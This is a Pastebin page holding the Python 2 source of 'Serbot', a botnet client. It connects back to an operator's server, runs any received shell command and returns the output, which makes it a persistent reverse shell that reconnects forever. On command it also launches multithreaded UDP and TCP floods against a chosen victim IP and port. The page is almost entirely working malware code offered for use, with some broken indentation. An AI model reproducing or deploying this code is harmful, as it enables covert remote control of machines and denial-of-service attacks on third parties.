Advertisement
Guest User

Serbot - Client - 2

a guest
Nov 28th, 2014
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.74 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. #v2
  3.  
  4. import subprocess, os, sys, time, threading
  5. from socket import *
  6.  
  7. if (len(sys.argv) == 3):
  8.     host = sys.argv[1]
  9.     port = int(sys.argv[2])
  10. else:
  11.     sys.exit("Usage: client.py <server ip> <server port>")
  12.  
  13. class udpFlood(threading.Thread):
  14.     def __init__ (self, victimip, victimport):
  15.         threading.Thread.__init__(self)
  16.         self.victimip = victimip
  17.     self.victimport = victimport
  18.  
  19.     def run(self):
  20.     timeout = time.time() + 60
  21.         while True:
  22.         test = 0
  23.             if (time.time() <= timeout):
  24.             s = socket(AF_INET, SOCK_DGRAM)
  25.             s.connect((self.victimip, int(self.victimport)))
  26.             s.send('A' * 65000)        
  27.         else:
  28.             break
  29.  
  30. class tcpFlood(threading.Thread):
  31.     def __init__ (self, victimip, victimport):
  32.         threading.Thread.__init__(self)
  33.         self.victimip = victimip
  34.     self.victimport = victimport
  35.  
  36.     def run(self):
  37.     timeout = time.time() + 60
  38.         while True:
  39.         test = 0
  40.             if (time.time() <= timeout):
  41.             s = socket(AF_INET, SOCK_STREAM)
  42.             s.settimeout(1)
  43.             s.connect((self.victimip, int(self.victimport)))
  44.             s.send('A' * 65000)      
  45.         else:
  46.             break
  47.  
  48. def udpUnleach(victimip, victimport):
  49.     threads = []
  50.     for i in range(1, 11):
  51.             thread = udpFlood(victimip, victimport)
  52.             thread.start()
  53.         threads.append(thread)
  54.  
  55.     for thread in threads:
  56.             thread.join()
  57.  
  58. def tcpUnleach(victimip, victimport):
  59.     threads = []
  60.     for i in range(1, 11):
  61.             thread = tcpFlood(victimip, victimport)
  62.             thread.start()
  63.         threads.append(thread)
  64.  
  65.     for thread in threads:
  66.             thread.join()
  67.  
  68. def main():
  69.     while 1:
  70.         s=socket(AF_INET, SOCK_STREAM)
  71.         while 1:
  72.             try:
  73.                 s.connect((host,port))
  74.                 print "[INFO] Connected"
  75.                 break;
  76.             except:
  77.                 time.sleep(5)
  78.        
  79.         while 1:
  80.             try:
  81.                 msg=s.recv(10240)
  82.                 if ((msg != "exit") and ("cd " not in msg) and ("udpflood " not in msg) and ("tcpflood " not in msg) and (msg != "hellows123") and ("udpfloodall " not in msg) and ("tcpfloodall " not in msg)):
  83.                     comm = subprocess.Popen(str(msg), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  84.                     STDOUT, STDERR = comm.communicate()
  85.                     en_STDERR = bytearray(STDERR)
  86.                     en_STDOUT = bytearray(STDOUT)
  87.                     if (en_STDERR == ""):
  88.                         if (en_STDOUT != ""):
  89.                             print en_STDOUT
  90.                             s.send(en_STDOUT)
  91.                         else:
  92.                             s.send("[CLIENT] Command Executed")
  93.                     else:
  94.                         print en_STDERR
  95.                         s.send(en_STDERR)
  96.                 elif ("cd " in msg):
  97.                     msg = msg.replace("cd ","")
  98.                     os.chdir(msg)
  99.                     s.send(os.getcwd())
  100.                     print "[INFO] Changed dir to %s" % os.getcwd()
  101.                 elif ("udpflood " in msg):
  102.                     msg = msg.replace("udpflood ", "")
  103.                     seperator = msg.index(":")
  104.                     try:
  105.                         udpUnleach(msg[:seperator],msg[seperator+1:])
  106.                     except:
  107.                         pass
  108.                 elif ("udpfloodall " in msg):
  109.                     msg = msg.replace("udpfloodall ", "")
  110.                     seperator = msg.index(":")
  111.                     try:
  112.                         udpUnleach(msg[:seperator],msg[seperator+1:])
  113.                     except:
  114.                         pass
  115.                 elif ("tcpflood " in msg):
  116.                     msg = msg.replace("tcpflood ", "")
  117.                     seperator = msg.index(":")
  118.                     try:
  119.                         tcpUnleach(msg[:seperator],msg[seperator+1:])
  120.                     except:
  121.                         pass
  122.                 elif ("tcpfloodall " in msg):
  123.                     msg = msg.replace("tcpfloodall ", "")
  124.                     seperator = msg.index(":")
  125.                     try:
  126.                         tcpUnleach(msg[:seperator],msg[seperator+1:])
  127.                     except:
  128.                         pass
  129.                 elif (msg == "hellows123"):
  130.                     s.send(os.getcwd())
  131.                 else:
  132.                     print "[INFO] Connection Closed"
  133.                     s.close()
  134.                     break
  135.             except KeyboardInterrupt:
  136.                 print "[INFO] Connection Closed"
  137.                 s.close()
  138.                 break
  139.             except:
  140.                 print "[INFO] Connection Closed"
  141.                 s.close()
  142.                 break
  143.            
  144. while 1:
  145.     try:
  146.         main()
  147.     except:
  148.         pass
  149.  
  150.     time.sleep(5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement